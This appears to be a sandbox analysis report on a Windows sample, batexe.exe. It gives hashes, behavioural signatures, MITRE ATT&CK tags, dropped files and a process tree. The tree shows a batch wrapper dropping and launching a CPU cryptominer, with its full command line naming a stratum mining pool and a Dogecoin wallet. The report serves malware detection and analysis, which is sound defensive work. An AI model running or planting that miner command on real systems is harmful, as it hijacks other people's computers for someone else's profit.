73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
293s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 10:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240218-mn6lvshe66
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3504	b2e.exe
4712	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe
4712	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2016-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2016 wrote to memory of 3504	2016	batexe.exe	84
PID 2016 wrote to memory of 3504	2016	batexe.exe	84
PID 2016 wrote to memory of 3504	2016	batexe.exe	84
PID 3504 wrote to memory of 764	3504	b2e.exe	85
PID 3504 wrote to memory of 764	3504	b2e.exe	85
PID 3504 wrote to memory of 764	3504	b2e.exe	85
PID 764 wrote to memory of 4712	764	cmd.exe	88
PID 764 wrote to memory of 4712	764	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2016
- C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\61C7.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe
Size 23.6MB
SHA256 84c9db355958f8401a2092f2b60a3e1f23c780646ac7696e9dc86b9cf83bbcae
MD5 36ae657c2019a197d5f8c86c6b38a2f4
SHA1 7c0c5da1b79d0e5dc5dfd9f424174af9898059df
SHA512 076062f98714d17d8059cd86be8db285eb4d5b6b84feb35c97573e3c53cb6ffec748cdff333daddfd6b47556de6287aa30d8375930619e6d7c808551b8ea1c94
SSDEEP 196608:wWrJQ9CuKdIncRBGvwPHD/bfOqjJjMr2XHjXnXHdfz/x1Br:nSCRdIJv0j1Br
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe
Size 12.3MB
SHA256 e7b8eed2e8f90af0224ad6b867e047c2e37fe53927816da4b47dde3e615a5232
MD5 497cd5be74d6877f9c44b78553ef8389
SHA1 a1417ebe5e7bdcefcaaef9c3810539eb20e8f1c9
SHA512 d2d4f599dc7d3c36ab485eb176761955f310bb87ac734ba160f67606be863e9f90e549ef317d508b106341eb183a6af65dca650573c885870cb4c039dfe75ad0
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBW:wWrJQ9CuKdIncRBW
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\5EE9.tmp\b2e.exe
Size 12.7MB
SHA256 2bdf69a46da83947ec182681c954a5201ecec4ff06371ba93d1ab616329ce0e4
MD5 9b9f582d50b55bfe99f9e47cc712cfff
SHA1 65ae5afc6f875c854c21a9a531f46b28c6ab4555
SHA512 c56144bdf9f45a78f773e844e8415e2424f899e10516f9edb65b4eaf9c2e4bad24b66082c5d519442fb388fb6dd9da1ff08bf25e958367735c2529bf4ecb428e
SSDEEP 98304:2Vh7J/WrocAdkmBtKCLaDr/4Q8FD9Ck6jBVFh0ulRm6eqdInEgNf/4+eQhyYlkBz:wWrJQ9CuKdIncRBGw
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\61C7.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 2.1MB
SHA256 2f473e566ba2b036dc6aec2d1df1121ead32fd9ca9aba6469695b0751e5f4a66
MD5 83c0585ff88ea10df39c96db45da0367
SHA1 b60737aaecbd54b563422d5b5b72441941d564bf
SHA512 2d9fa11bd62cd4d098c4049c14ca472c773ed073841881592d94cff92967d9314343d82330c75b90141062e35c6b5a94b4b7dcec9fe5cdc2eaab78116a95b5ed
SSDEEP 49152:Wkpplb/LHkmgDlX3+57Uad1bBLTqgC+JZchTbO+:xvN/LOOhU
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 1.7MB
SHA256 d239e73e4ba36dc0407a23864b592491f2326cfb861ca8673d6cb55cfb586115
MD5 ebf1242eacb4649548efdde86227d12f
SHA1 d5e9ccfd49b34f35a92e6f43017b85490fbdf9ad
SHA512 9a1d9284da2132e9d215fb9add98738ae1f128f436017b0407d6626f8b5a432ad4b3b40896720d819a558bcec99d1e132f56f5895fa7f815088b2bf46333d4c6
SSDEEP 24576:WbAAkXZfeqVZoq/QpmN/TDjzshtmB1kbQ34igDlnRZ9WRU2mYgztnpX4W9sLd753:Wkpplb/LHkmgDlX3+57Uad1bBLTn
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 1.2MB
SHA256 c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
MD5 7cf672bee2afba2dcd0c031ff985958e
SHA1 6b82a205db080ffdcb4a4470fce85a14413f3217
SHA512 3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MH:mnKt/wDm1nazZffMMcUvQlRg3J6f1SGK
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 2.4MB
SHA256 928bb2250a07b27715f1312a186e5cf6f0f7dea1398fc01ded120d2af48359ad
MD5 fcc90f87cc55129540c1815a51039fc7
SHA1 4854c7b1a2af995b16c4c51ba06da16effd729d3
SHA512 ca330f2684b32dbc982208bb99c29668e49d2c1449ed8b4ed6590c884a3a34242a47bd3020a4eb52fac7b4af4de2522db0b9b254574517442748924a8ec1fa1a
SSDEEP 49152:Dv+Gatwo2ZyrgBltFzFsCt2Hbsugpzk8sZg920ipTqP3e7:DGGvDsCt2HINpzk8sZg920ipTqP3e7
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 3.1MB
SHA256 92510984de0d4cd779b55a5dce3370da120cd10b21333d9519d6f16bf1ed1ba7
MD5 1ebd8ed2dd7a3b0d865ca2927793582f
SHA1 0f557425ba6364bd9ef8f16dd30288a6bdd11ed2
SHA512 21820526900ac444f4a68555c5c62921d9726595c370b6c943d038a19426bd07745bd2915447f22b83f0a8d4c3437b35b735bd6dfcda2ce06f1a12cb7055c489
SSDEEP 98304:DGGvDsCt2HINpzk8sZg920ipTqP3eA9Ji:DGGvJ3i
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 2.6MB
SHA256 bd7580c3d3e6a38106c0e27c37dc4154771b623499c758508b099db094c128c5
MD5 31fe9076cbc0dd9faa5658a54d6798b5
SHA1 ebbd371c8dfd8622f40644178e665578e438ea92
SHA512 f992d50110808f6f00e5d1f53d2be079e20e5187fe8b5d7f44b6b8eae6a6acaf7c5ec289af2f5cf0a6fb64fb0378fda108d94926cc72cc2e48265e777b76cb9b
SSDEEP 49152:Dv+Gatwo2ZyrgBltFzFsCt2Hbsugpzk8sZg920ipTqP3eAZ6yc:DGGvDsCt2HINpzk8sZg920ipTqP3eA8
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 606KB
SHA256 2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
MD5 585efec1bc1d4d916a4402c9875dff75
SHA1 d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA512 b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2Zug8UYWTh4x:IrAim3Y9lrzf34z//KRwwtkIr1PzEcy8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2016-8-0x0000000000400000-0x000000000393A000-memory.dmp

Download

memory/3504-53-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/3504-9-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4712-43-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-46-0x000000006D880000-0x000000006D918000-memory.dmp

Download

memory/4712-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Download

memory/4712-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Download

memory/4712-44-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/4712-54-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-59-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-64-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-79-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-84-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-89-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-94-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/4712-104-0x0000000000400000-0x0000000000667000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads